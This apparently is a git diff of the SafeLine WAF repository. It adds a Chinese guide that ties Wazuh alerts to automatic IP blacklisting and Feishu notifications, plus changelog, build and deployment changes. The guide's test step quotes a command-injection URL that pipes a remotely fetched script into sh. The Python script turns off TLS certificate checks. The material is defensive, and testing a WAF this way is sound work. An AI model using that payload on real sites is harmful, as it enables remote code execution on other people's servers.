chown root:wazuh /var/ossec/integrations/custom-waf.py
|
||||
vim /var/ossec/integrations/custom-waf.py ,添加以下代码:
|
||||
```
|
||||
|
||||
```shell
|
||||
#!/usr/bin/env python
|
||||
import sys
|
||||
import json
|
||||
import ssl
|
||||
import requests
|
||||
import os
|
||||
import datetime
|
||||
import urllib3
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
def read_alert_file():
|
||||
alert_file = open(sys.argv[1])
|
||||
alert_json = json.loads(alert_file.read())
|
||||
alert_file.close()
|
||||
timestamp = alert_json['predecoder']['timestamp']
|
||||
hostname = alert_json['predecoder']['hostname']
|
||||
description = alert_json['rule']['description']
|
||||
full_log = alert_json['full_log']
|
||||
src_city = alert_json['data']['src_city']
|
||||
src_ip = alert_json['data']['src_ip']
|
||||
dst_host = alert_json['data']['dst_host']
|
||||
dst_url = alert_json['data']['dst_url']
|
||||
print(src_ip)
|
||||
return timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url
|
||||
|
||||
def login(host,username,password):
|
||||
csrf_url = f"{host}/api/open/auth/csrf"
|
||||
response = requests.get(csrf_url, verify=False)
|
||||
data = response.json()
|
||||
csrf_token = data["data"]["csrf_token"]
|
||||
login_data = {
|
||||
'csrf_token': csrf_token,
|
||||
'username': username,
|
||||
'password': password,
|
||||
}
|
||||
login_url = f"{host}/api/open/auth/login"
|
||||
response = requests.post(login_url,json=login_data,verify=False)
|
||||
data = response.json()
|
||||
jwt = data["data"]["jwt"]
|
||||
return jwt
|
||||
|
||||
def get_info(host,jwt):
|
||||
url = f"{host}/api/open/ipgroup?top=1001"
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": f"Bearer {jwt}"
|
||||
}
|
||||
response = requests.get(url,headers=headers,verify=False)
|
||||
data = response.json()
|
||||
ip_group_id = data["data"]["nodes"][-1]["id"]
|
||||
ip_group_name = data["data"]["nodes"][-1]["comment"]
|
||||
ips = data["data"]["nodes"][-1]["ips"]
|
||||
ips_count = len(ips)
|
||||
url = f"{host}/api/open/rule"
|
||||
requests.get(url,headers=headers,verify=False)
|
||||
return ip_group_id,ip_group_name,ips,ips_count
|
||||
|
||||
def update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip):
|
||||
url = f"{host}/api/open/ipgroup"
|
||||
ips.append(src_ip)
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": f"Bearer {jwt}"
|
||||
}
|
||||
body = {
|
||||
"id":ip_group_id,
|
||||
"reference":"",
|
||||
"comment":ip_group_name,
|
||||
"ips":ips
|
||||
}
|
||||
requests.put(url,json=body,headers=headers,verify=False)
|
||||
|
||||
def create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip):
|
||||
url = f"{host}/api/open/ipgroup"
|
||||
ip_group_id = ip_group_id +1
|
||||
ip_group_name = "black_ip_group_name-" + str(ip_group_id)
|
||||
src_ip = [src_ip]
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": f"Bearer {jwt}"
|
||||
}
|
||||
body = {
|
||||
"reference":"",
|
||||
"comment":ip_group_name,
|
||||
"ips":src_ip
|
||||
}
|
||||
requests.post(url,json=body,headers=headers,verify=False)
|
||||
return ip_group_id,ip_group_name
|
||||
|
||||
def create_rule(host,jwt,ip_group_id,ip_group_name):
|
||||
url = f"{host}/api/open/rule"
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": f"Bearer {jwt}"
|
||||
}
|
||||
body = {
|
||||
"action": 1,
|
||||
"comment": ip_group_name,
|
||||
"is_enabled": True,
|
||||
"pattern": [{
|
||||
"k": "src_ip",
|
||||
"op": "in",
|
||||
"v": str(ip_group_id),
|
||||
"sub_k": ""
|
||||
}]
|
||||
}
|
||||
requests.post(url,json=body,headers=headers,verify=False)
|
||||
|
||||
def feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url):
|
||||
headers={
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
msg_data = {
|
||||
"msg_type": "interactive",
|
||||
"card": {
|
||||
"header": {
|
||||
"title": {
|
||||
"tag": "plain_text",
|
||||
"content": description
|
||||
},
|
||||
"template": "red"
|
||||
},
|
||||
"elements": [
|
||||
{
|
||||
"tag": "div",
|
||||
"text": {
|
||||
"tag": "lark_md",
|
||||
"content": "**请注意:以下攻击源IP已加入黑名单。**" + "\n\n" + "**告警时间: **" + timestamp + "\n" + "**告警来源: **" + hostname + "\n" + "**攻击源地址: **" + src_city + "\n" + "**攻击源IP: **" + src_ip + "\n" + "**被攻击地址: **" + dst_host + "\n" + "**被攻击路径: **" + dst_url
|
||||
}
|
||||
},
|
||||
{
|
||||
"tag": "hr"
|
||||
},
|
||||
{
|
||||
"tag": "div",
|
||||
"text": {
|
||||
"tag": "lark_md",
|
||||
"content": "**原始syslog日志:**" + "\n" + full_log
|
||||
}
|
||||
},
|
||||
]
|
||||
}
|
||||
}
|
||||
requests.post(webhook_url,json=msg_data,headers=headers)
|
||||
|
||||
def print_log(log_file_path,src_ip):
|
||||
now = datetime.datetime.now()
|
||||
time_str = now.strftime('%b %d %H:%M:%S')
|
||||
log_template = "{time} prod-waf safe-line:{ip} has been blocked."
|
||||
message = log_template.format(time=time_str, ip=src_ip)
|
||||
log_file_path = log_file_path
|
||||
with open(log_file_path, 'a') as log_file:
|
||||
log_file.write(message + '\n')
|
||||
|
||||
def main(host,username,password,log_file_path,webhook_url):
|
||||
timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url = read_alert_file()
|
||||
jwt = login(host,username,password)
|
||||
ip_group_id,ip_group_name,ips,ips_count = get_info(host,jwt)
|
||||
if ips_count > 999:
|
||||
ip_group_id,ip_group_name = create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip)
|
||||
create_rule(host,jwt,ip_group_id,ip_group_name)
|
||||
else:
|
||||
update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip)
|
||||
feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url)
|
||||
print_log(log_file_path,src_ip)
|
||||
|
||||
host = "https://192.168.1.1:9443" #替换成WAF地址
|
||||
log_file_path = "/var/log/waf/block_ip.log"
|
||||
webhook_url = "https://open.feishu.cn/open-apis/bot/v2/hook/c742cec0-94e9-449b-8473-597b873" #替换成飞书机器人地址
|
||||
username = "admin"
|
||||
password = "123456" #替换成WAF密码
|
||||
if __name__ == "__main__":
|
||||
main(host,username,password,log_file_path,webhook_url)
|
||||
sys.exit(0)
|
||||
```
|
||||
|
||||
3. 添加Wazuh Server解码器
|
||||
|
||||
```shell
|
||||
touch /var/ossec/etc/decoders/safeline-waf-decoders.xml
|
||||
chmod 660 /var/ossec/etc/decoders/safeline-waf-decoders.xml
|
||||
chown wazuh:wazuh /var/ossec/etc/decoders/safeline-waf-decoders.xml
|
||||
vim /var/ossec/etc/decoders/safeline-waf-decoders.xml,添加以下代码:
|
||||
```
|
||||
|
||||
```shell
|
||||
<decoder name="safeline-ce">
|
||||
<program_name>safeline-ce</program_name>
|
||||
<regex>src_city:(\.*), src_ip:(\.*), dst_host:(\.*), url:(\.*), rule_id:(\.*), log_id:(\d+)</regex>
|
||||
<order>src_city,src_ip,dst_host,dst_url,rule_id,log_id</order>
|
||||
</decoder>
|
||||
```
|
||||
|
||||
4. 添加Wazuh Server告警规则
|
||||
|
||||
```shell
|
||||
touch /var/ossec/etc/rules/safeline-waf-rules.xml
|
||||
chmod 660 /var/ossec/etc/rules/safeline-waf-rules.xml
|
||||
chown wazuh:wazuh /var/ossec/etc/rules/safeline-waf-rules.xml
|
||||
vim /var/ossec/etc/rules/safeline-waf-rules.xml,添加以下代码:
|
||||
```
|
||||
|
||||
```shell
|
||||
<group name="syslog,safeline,">
|
||||
<rule id="119101" level="7">
|
||||
<decoded_as>safeline-ce</decoded_as>
|
||||
<match>a.test.com</match>#a.test.com替换成在waf上配置保护的域名
|
||||
<description>入侵事件:a.test.com</description> #这里可以修改为自己喜欢的内容,这个信息最终会呈现到飞书消息卡片的标题上
|
||||
</rule>
|
||||
```
|
||||
|
||||
5. 修改Wazuh Server的ossec配置
|
||||
|
||||
```shell
|
||||
vim /var/ossec/etc/ossec.conf,添加以下代码:
|
||||
<integration>
|
||||
<name>custom-waf</name>
|
||||
<rule_id>119101</rule_id>
|
||||
<alert_format>json</alert_format>
|
||||
</integration>
|
||||
```
|
||||
|
||||
6. 重启Wazuh Server,使所有配置生效
|
||||
|
||||
```shell
|
||||
/var/ossec/bin/wazuh-control restart
|
||||
```
|
||||
|
||||
### Wazuh Agent配置
|
||||
|
||||
1. 登录雷池WAF服务器,配置ossec监听waf_alert.log日志文件
|
||||
|
||||
```shell
|
||||
vim /var/ossec/etc/ossec.conf ,添加以下配置
|
||||
|
||||
<localfile>
|
||||
<log_format>syslog</log_format>
|
||||
<location>/var/log/waf_alert/waf_alert.log</location>
|
||||
</localfile>
|
||||
```
|
||||
|
||||
最后如图
|
||||
|
||||

|
||||
|
||||
2. 重启Wazuh Agent,使ossec配置生效
|
||||
|
||||
```shell
|
||||
systemctl restart wazuh-agent
|
||||
```
|
||||
|
||||
## 大功告成,测试效果
|
||||
|
||||
对网站进行漏扫或者输入攻击测试语句,触发告警,查看拦截结果,例如
|
||||
|
||||
https://a.test.com/view.php?doc=11.jpg&format=swf&isSplit=true&page=||wget%20http://spotslfy.com/wget.sh%20-O-|sh
|
||||
|
||||
飞书告警卡片,群里的相关人员都可以看到非常清晰的消息卡片
|
||||
|
||||

|
||||
|
||||
雷池WAF IP黑名单,可以看到攻击源IP 47.1.1.1已经自动添加
|
||||
|
||||

|
||||
|
||||
当攻击者想再次尝试访问网站,已经被拦截
|
||||
|
||||

|
||||
|
||||
如果想统计一共封了多少个黑名单IP,可以直接查看日志
|
||||
|
||||
cat /var/log/waf/block_ip.log
|
||||
|
||||

|
||||
|
||||
## 发散思维
|
||||
|
||||
由于个人精力有限,关于飞书告警其实我还有2个想法没实现,有兴趣和开发能力的同学可以继续探索:
|
||||
|
||||
1. 为了避免误封IP,其实推送到飞书的卡片消息可以增加两个交互按钮:“确认封禁IP”,“忽略”,当点击“确认封禁IP”时才触发封禁IP,同时发送一条处置结果到群里做通知。
|
||||
|
||||
2. 告警信息推送到飞书群后,现在是无法做统计分析的。飞书多维表格有基础的excel能力以及强悍的自动化流程能力,经过精心的表格字段设计、自动化流程配置和API开发,可以作为低成本的安全数据中心和SOAR使用,例如定期推送安全周报到飞书安全工作群、定期汇总恶意IP清单并推送给安全设备等
|
||||
7
documents/docs/05-submission/_category_.json
Normal file
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"label": "社区投稿",
|
||||
"collapsed": true,
|
||||
"link": {
|
||||
"type": "generated-index"
|
||||
}
|
||||
}
|
||||
@@ -6,6 +6,122 @@ title: "版本更新记录"
|
||||
|
||||
[版本升级方法](/guide/upgrade)
|
||||
|
||||
### [6.0.1] - 2024-05-31
|
||||
|
||||
#### 修复
|
||||
* 修复流式版本 tengine 启动异常的问题
|
||||
* 修复历史攻击事件无法查询明细日志的问题
|
||||
|
||||
### [6.0.0] - 2024-05-31
|
||||
|
||||
#### 新增
|
||||
* 站点高级防护新增动态防护(BETA),能自动动态加密网站的 html 和 js 源码,阻止爬虫和攻击自动化程序的分析(对应新增 safeline-chaos 容器)
|
||||
|
||||

|
||||
* 新增上游服务器健康检查,方便配置与管理
|
||||
|
||||

|
||||
* 攻击事件的聚合维度增加域名、端口,方便观察。即同一 IP 对不同域名、端口的攻击,现在会记录不同的攻击事件了
|
||||
|
||||

|
||||
|
||||
#### 优化
|
||||
* 攻击事件支持按域名、端口筛选
|
||||
* 新增 tengine 异常时,紧急恢复 tengine 的命令,详情见文档([紧急恢复 tengine](https://waf-ce.chaitin.cn/docs/faq/other#紧急恢复-tengine))
|
||||
* 修复开启 http2 时,配置站点可能出现 nginx: [warn] protocol options redefined 的问题
|
||||
* 修复黑白名单没有记录触发次数的问题
|
||||
* 站点域名提交时自动删去域名前后的空格,避免证书列表提示域名不匹配
|
||||
* 修复 SDK 旁路部署模式下黑白名单工作异常的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
### [5.6.2] - 2024-05-23
|
||||
|
||||
#### 优化
|
||||
* 身份认证、控制台登录设置可以一键随机一个密码
|
||||
|
||||

|
||||
* 添加/编辑自定义规则时,如果未保存直接关闭弹窗,会增加一个确认提醒([#761](https://github.com/chaitin/SafeLine/issues/761)))
|
||||
|
||||

|
||||
* 修复申请免费证书时,域名中带空格或者输入多个域名时会申请失败的问题(报错 onflicting server name ... on 0.0.0.0:80 的问题)
|
||||
* 修复申请证书和添加站点的时候,域名中带空格会报错 “域名不匹配” 的问题([#596](https://github.com/chaitin/SafeLine/issues/596)))
|
||||
* 修复站点为观察模式时,也会拦截一些补充规则的问题
|
||||
* 修复某些情况下免费证书无法续期的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
### [5.6.1] - 2024-05-17
|
||||
|
||||
#### 修复
|
||||
* 修复无法申请 acme 证书的问题
|
||||
|
||||
### [5.6.0] - 2024-05-16
|
||||
|
||||
#### 新增
|
||||
* 自定义规则的部分匹配内容支持输入多个值,多个值之间为 “或 (OR)” 关系
|
||||
|
||||

|
||||
* 专业版支持自定义人机验证的底部文字,替代雷池版权信息
|
||||
|
||||
#### 优化
|
||||
* 502、504 异常页面适配手机端
|
||||
* 编辑站点时,根据需要自动调大 xx_hash_bucket_size、xx_hash_max_size,避免这两种配置不足报错
|
||||
* 修复有时无法采集到站点资源的问题
|
||||
* 优化一些界面交互细节
|
||||
|
||||
### [5.5.2] - 2024-05-10
|
||||
|
||||
#### 修复
|
||||
* 修复 IP 组详情某些情况下与老版本不兼容的问题
|
||||
|
||||
### [5.5.1] - 2024-05-10
|
||||
|
||||
#### 修复
|
||||
* 修复自定义规则某些情况下不生效的问题
|
||||
|
||||
### [5.5.0] - 2024-05-09
|
||||
|
||||
#### 新增
|
||||
* 站点列表支持一键配置高级防护规则
|
||||
|
||||

|
||||
|
||||
#### 优化
|
||||
* 黑白名单、人机验证、身份认证 页面合并为 “自定义规则”,简化导航
|
||||
* 黑白名单、身份认证 规则增加 “触发次数” “通过次数” 统计
|
||||
|
||||

|
||||
* 注:同一种规则类型内,触发的优先级为 新添加的自定义规则 > 旧添加的自定义规则 > 站点列表上一键配置的高级防护规则
|
||||
* 站点资源统计逻辑优化
|
||||
* 修复有时候免费证书临期不会自动续期的问题
|
||||
* 修复匹配条件中 ipv6 地址展示不正确的问题([#830](https://github.com/chaitin/SafeLine/issues/830))
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
### [5.4.0] - 2024-04-25
|
||||
|
||||
#### 新增
|
||||
* 源 IP 获取方式增加 XFF
|
||||
|
||||

|
||||
* 专业版增加 系统设置->检测引擎性能配置,可以根据设备的配置等级选择不同的性能模式
|
||||
|
||||

|
||||
|
||||
#### 优化
|
||||
* 修复浏览器内核版本 < Chromium 93 时,点击智能 AI 分析页面会崩溃的问题
|
||||
* 修复少数情况下,限频没有正常封禁 IP 的问题
|
||||
* 优化 luigi 统计算法,解决 CPU 占用过高的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
### [5.3.3] - 2024-04-18
|
||||
|
||||
#### 优化
|
||||
* 日志列表不返回 IP 组全部内容,降低访问耗时
|
||||
* 修复基础统计 -> 4xx 数量中,把人机验证拦截也计入了的问题
|
||||
* 修复高级统计 -> 来源域名、来源页面中,把内部跳转也计入了的问题
|
||||
* 修复上游有多个域名时,获取不到正确 title 和 icon 的问题([#821](https://github.com/chaitin/SafeLine/issues/821))
|
||||
* 修复筛选 UI 错位问题([#789](https://github.com/chaitin/SafeLine/issues/789))
|
||||
* 修复其他一些已知问题
|
||||
|
||||
### [5.3.2] - 2024-04-12
|
||||
|
||||
#### 修复
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"label": "关于雷池",
|
||||
"collapsed": false,
|
||||
"collapsed": true,
|
||||
"link": {
|
||||
"type": "generated-index"
|
||||
}
|
||||
@@ -75,6 +75,11 @@ const config = {
|
||||
({
|
||||
// Replace with your project's social card
|
||||
image: "images/safeline.svg",
|
||||
docs: {
|
||||
sidebar: {
|
||||
autoCollapseCategories: true,
|
||||
},
|
||||
},
|
||||
navbar: {
|
||||
title: "",
|
||||
logo: { alt: "Logo", src: "images/safeline.svg", href: "https://waf-ce.chaitin.cn" },
|
||||
|
||||
2662
documents/package-lock.json
generated
@@ -16,26 +16,26 @@
|
||||
"typecheck": "tsc"
|
||||
},
|
||||
"dependencies": {
|
||||
"@docusaurus/core": "3.0.0",
|
||||
"@docusaurus/preset-classic": "3.0.0",
|
||||
"@easyops-cn/docusaurus-search-local": "0.37.4",
|
||||
"@emotion/react": "11.11.1",
|
||||
"@emotion/styled": "11.11.0",
|
||||
"@mdx-js/react": "3.0.0",
|
||||
"@mui/icons-material": "5.14.3",
|
||||
"@mui/lab": "5.0.0-alpha.138",
|
||||
"@mui/material": "5.14.3",
|
||||
"clsx": "^1.2.1",
|
||||
"countup.js": "2.7.0",
|
||||
"prism-react-renderer": "2.1.0",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
"@docusaurus/core": "3.3.2",
|
||||
"@docusaurus/preset-classic": "3.3.2",
|
||||
"@easyops-cn/docusaurus-search-local": "0.40.1",
|
||||
"@emotion/react": "11.11.4",
|
||||
"@emotion/styled": "11.11.5",
|
||||
"@mdx-js/react": "3.0.1",
|
||||
"@mui/icons-material": "5.15.16",
|
||||
"@mui/lab": "5.0.0-alpha.170",
|
||||
"@mui/material": "5.15.16",
|
||||
"clsx": "^2.1.1",
|
||||
"countup.js": "2.8.0",
|
||||
"prism-react-renderer": "2.3.1",
|
||||
"react": "18.3.1",
|
||||
"react-dom": "18.3.1",
|
||||
"react-responsive-carousel": "3.2.23"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@docusaurus/module-type-aliases": "3.0.0",
|
||||
"@tsconfig/docusaurus": "^1.0.5",
|
||||
"typescript": "5.2.2"
|
||||
"@docusaurus/module-type-aliases": "3.3.2",
|
||||
"@tsconfig/docusaurus": "^2.0.3",
|
||||
"typescript": "5.4.5"
|
||||
},
|
||||
"browserslist": {
|
||||
"production": [
|
||||
|
||||
@@ -15,7 +15,6 @@
|
||||
const sidebars = {
|
||||
// By default, Docusaurus generates a sidebar from the docs folder structure
|
||||
tutorialSidebar: [{type: 'autogenerated', dirName: '.'}],
|
||||
|
||||
// But you can create a sidebar manually
|
||||
/*
|
||||
tutorialSidebar: [
|
||||
|
||||
@@ -34,6 +34,9 @@ a:hover {
|
||||
aside.theme-doc-sidebar-container {
|
||||
width: 240px !important;
|
||||
}
|
||||
aside.theme-doc-sidebar-container>div>div {
|
||||
width: 240px !important;
|
||||
}
|
||||
|
||||
/* .navbar__toggle.clean-btn svg {
|
||||
color: white;
|
||||
|
||||
BIN
documents/static/images/docs/about_changelog/5.4.0-1.png
Normal file
|
After Width: | Height: | Size: 35 KiB |
BIN
documents/static/images/docs/about_changelog/5.4.0-2.png
Normal file
|
After Width: | Height: | Size: 31 KiB |
BIN
documents/static/images/docs/about_changelog/5.5.0-1.png
Normal file
|
After Width: | Height: | Size: 41 KiB |
BIN
documents/static/images/docs/about_changelog/5.5.0-2.png
Normal file
|
After Width: | Height: | Size: 15 KiB |
BIN
documents/static/images/docs/about_changelog/5.6.0-1.png
Normal file
|
After Width: | Height: | Size: 113 KiB |
BIN
documents/static/images/docs/about_changelog/5.6.2-1.png
Normal file
|
After Width: | Height: | Size: 33 KiB |
BIN
documents/static/images/docs/about_changelog/5.6.2-2.png
Normal file
|
After Width: | Height: | Size: 88 KiB |
BIN
documents/static/images/docs/about_changelog/6.0.0-1.png
Normal file
|
After Width: | Height: | Size: 39 KiB |
BIN
documents/static/images/docs/about_changelog/6.0.0-2.png
Normal file
|
After Width: | Height: | Size: 93 KiB |
BIN
documents/static/images/docs/about_changelog/6.0.0-3.png
Normal file
|
After Width: | Height: | Size: 90 KiB |
BIN
documents/static/images/docs/flow.png
Normal file
|
After Width: | Height: | Size: 278 KiB |
BIN
documents/static/images/docs/guide_config/config_site4.png
Normal file
|
After Width: | Height: | Size: 100 KiB |
|
Before Width: | Height: | Size: 80 KiB After Width: | Height: | Size: 64 KiB |
BIN
documents/static/images/docs/sdk_chat.png
Normal file
|
After Width: | Height: | Size: 67 KiB |
BIN
documents/static/images/docs/submission/k3s01.jpg
Normal file
|
After Width: | Height: | Size: 89 KiB |
BIN
documents/static/images/docs/submission/operate-1.png
Normal file
|
After Width: | Height: | Size: 2.0 MiB |
BIN
documents/static/images/docs/submission/operate-10.png
Normal file
|
After Width: | Height: | Size: 1.6 MiB |
BIN
documents/static/images/docs/submission/operate-11.png
Normal file
|
After Width: | Height: | Size: 2.3 MiB |
BIN
documents/static/images/docs/submission/operate-12.png
Normal file
|
After Width: | Height: | Size: 2.0 MiB |
BIN
documents/static/images/docs/submission/operate-13.png
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
documents/static/images/docs/submission/operate-14.png
Normal file
|
After Width: | Height: | Size: 2.2 MiB |
BIN
documents/static/images/docs/submission/operate-15.png
Normal file
|
After Width: | Height: | Size: 1.9 MiB |
BIN
documents/static/images/docs/submission/operate-16.png
Normal file
|
After Width: | Height: | Size: 2.2 MiB |
BIN
documents/static/images/docs/submission/operate-17.png
Normal file
|
After Width: | Height: | Size: 2.3 MiB |
BIN
documents/static/images/docs/submission/operate-18.png
Normal file
|
After Width: | Height: | Size: 2.2 MiB |
BIN
documents/static/images/docs/submission/operate-19.png
Normal file
|
After Width: | Height: | Size: 1.6 MiB |
BIN
documents/static/images/docs/submission/operate-2.png
Normal file
|
After Width: | Height: | Size: 2.2 MiB |
BIN
documents/static/images/docs/submission/operate-3.png
Normal file
|
After Width: | Height: | Size: 2.5 MiB |
BIN
documents/static/images/docs/submission/operate-4.png
Normal file
|
After Width: | Height: | Size: 1.4 MiB |
BIN
documents/static/images/docs/submission/operate-5.png
Normal file
|
After Width: | Height: | Size: 1.9 MiB |
BIN
documents/static/images/docs/submission/operate-6.png
Normal file
|
After Width: | Height: | Size: 812 KiB |
BIN
documents/static/images/docs/submission/operate-7.png
Normal file
|
After Width: | Height: | Size: 1.6 MiB |
BIN
documents/static/images/docs/submission/operate-8.png
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
documents/static/images/docs/submission/operate-9.png
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
documents/static/images/docs/submission/operate.png
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
2207
documents/yarn.lock
1
images/readme.md
Normal file
@@ -0,0 +1 @@
|
||||
readme
|
||||
BIN
images/safeline.png
Normal file
|
After Width: | Height: | Size: 559 KiB |
BIN
images/safeline_en.png
Normal file
|
After Width: | Height: | Size: 557 KiB |
@@ -14,7 +14,7 @@ services:
|
||||
postgres:
|
||||
container_name: safeline-pg
|
||||
restart: always
|
||||
image: swr.cn-east-3.myhuaweicloud.com/chaitin-safeline/postgres:15.2
|
||||
image: ${IMAGE_PREFIX}/safeline-postgres:15.2
|
||||
volumes:
|
||||
- ${SAFELINE_DIR}/resources/postgres/data:/var/lib/postgresql/data
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
@@ -43,17 +43,10 @@ services:
|
||||
depends_on:
|
||||
- postgres
|
||||
- fvm
|
||||
dns:
|
||||
- 119.29.29.29
|
||||
- 223.5.5.5
|
||||
- 180.76.76.76
|
||||
- 1.2.4.8
|
||||
- 114.114.114.114
|
||||
- 8.8.8.8
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "10"
|
||||
max-file: "5"
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.4
|
||||
@@ -82,6 +75,10 @@ services:
|
||||
- LOG_DIR=/logs/mario
|
||||
- GOGC=100
|
||||
- DATABASE_URL=postgres://safeline-ce:${POSTGRES_PASSWORD}@safeline-pg/safeline-ce
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "5"
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.6
|
||||
@@ -113,6 +110,10 @@ services:
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
- ${SAFELINE_DIR}/resources/luigi:/app/data
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "5"
|
||||
depends_on:
|
||||
- detect
|
||||
- mgt
|
||||
@@ -125,6 +126,10 @@ services:
|
||||
image: ${IMAGE_PREFIX}/safeline-fvm:${IMAGE_TAG}
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "5"
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.8
|
||||
@@ -145,9 +150,22 @@ services:
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "10"
|
||||
max-file: "5"
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.9
|
||||
depends_on:
|
||||
- mgt
|
||||
- mgt
|
||||
chaos:
|
||||
container_name: safeline-chaos
|
||||
restart: always
|
||||
image: ${IMAGE_PREFIX}/safeline-chaos:${IMAGE_TAG}
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "10"
|
||||
ports:
|
||||
- 23333:23333
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.10
|
||||
33
release/latest/reset_tengine.sh
Normal file
@@ -0,0 +1,33 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -e
|
||||
|
||||
SCRIPT_DIR=$(dirname "$0")
|
||||
|
||||
confirm() {
|
||||
echo -e -n "\033[34m[SafeLine] $* \033[1;36m(Y/n)\033[0m"
|
||||
read -n 1 -s opt
|
||||
|
||||
[[ "$opt" == $'\n' ]] || echo
|
||||
|
||||
case "$opt" in
|
||||
'y' | 'Y' ) return 0;;
|
||||
'n' | 'N' ) return 1;;
|
||||
*) confirm "$1";;
|
||||
esac
|
||||
}
|
||||
|
||||
if ! confirm "是否重新生成 tengine 的所有配置"; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [ ! -d "${SCRIPT_DIR}/resources/nginx" ]; then
|
||||
echo "website dir not found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mv "${SCRIPT_DIR}"/resources/nginx "${SCRIPT_DIR}"/resources/nginx."$(date +%s)"
|
||||
|
||||
docker restart safeline-tengine > /dev/null
|
||||
|
||||
docker exec safeline-mgt gentenginewebsite
|
||||
@@ -38,39 +38,6 @@ qrcode() {
|
||||
echo "微信扫描上方二维码加入雷池项目讨论组"
|
||||
}
|
||||
|
||||
command_exists() {
|
||||
command -v "$1" 2>&1
|
||||
}
|
||||
|
||||
check_container_health() {
|
||||
local container_name=$1
|
||||
local max_retry=30
|
||||
local retry=0
|
||||
local health_status="unhealthy"
|
||||
echo "Waiting for $container_name to be healthy"
|
||||
while [[ "$health_status" == "unhealthy" && $retry -lt $max_retry ]]; do
|
||||
health_status=$(docker inspect --format='{{.State.Health.Status}}' $container_name 2>/dev/null || echo 'unhealthy')
|
||||
sleep 1
|
||||
retry=$((retry+1))
|
||||
done
|
||||
if [[ "$health_status" == "unhealthy" ]]; then
|
||||
abort "Container $container_name is unhealthy"
|
||||
fi
|
||||
echo "Container $container_name is healthy"
|
||||
}
|
||||
|
||||
space_left() {
|
||||
dir="$1"
|
||||
while [ ! -d "$dir" ]; do
|
||||
dir=`dirname "$dir"`;
|
||||
done
|
||||
echo `df -h "$dir" --output='avail' | tail -n 1`
|
||||
}
|
||||
|
||||
start_docker() {
|
||||
systemctl start docker && systemctl enable docker
|
||||
}
|
||||
|
||||
confirm() {
|
||||
echo -e -n "\033[34m[SafeLine] $* \033[1;36m(Y/n)\033[0m"
|
||||
read -n 1 -s opt
|
||||
@@ -98,6 +65,59 @@ abort() {
|
||||
exit 1
|
||||
}
|
||||
|
||||
command_exists() {
|
||||
command -v "$1" 2>&1
|
||||
}
|
||||
|
||||
check_container_health() {
|
||||
local container_name=$1
|
||||
local max_retry=30
|
||||
local retry=0
|
||||
local health_status="unhealthy"
|
||||
info "Waiting for $container_name to be healthy"
|
||||
while [[ "$health_status" == "unhealthy" && $retry -lt $max_retry ]]; do
|
||||
health_status=$(docker inspect --format='{{.State.Health.Status}}' $container_name 2>/dev/null || info 'unhealthy')
|
||||
sleep 5
|
||||
retry=$((retry+1))
|
||||
done
|
||||
if [[ "$health_status" == "unhealthy" ]]; then
|
||||
abort "Container $container_name is unhealthy"
|
||||
fi
|
||||
info "Container $container_name is healthy"
|
||||
}
|
||||
|
||||
space_left() {
|
||||
dir="$1"
|
||||
while [ ! -d "$dir" ]; do
|
||||
dir=`dirname "$dir"`;
|
||||
done
|
||||
echo `df -h "$dir" --output='avail' | tail -n 1`
|
||||
}
|
||||
|
||||
local_ips() {
|
||||
if [ -z `command_exists ip` ]; then
|
||||
ip_cmd="ip addr show"
|
||||
else
|
||||
ip_cmd="ifconfig -a"
|
||||
fi
|
||||
|
||||
echo $($ip_cmd | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | awk '{print $2}')
|
||||
}
|
||||
|
||||
ips=`local_ips`
|
||||
subnets="172.22.222 169.254.222 192.168.222"
|
||||
|
||||
for subnet in $subnets; do
|
||||
if [[ $ips != *$subnet* ]]; then
|
||||
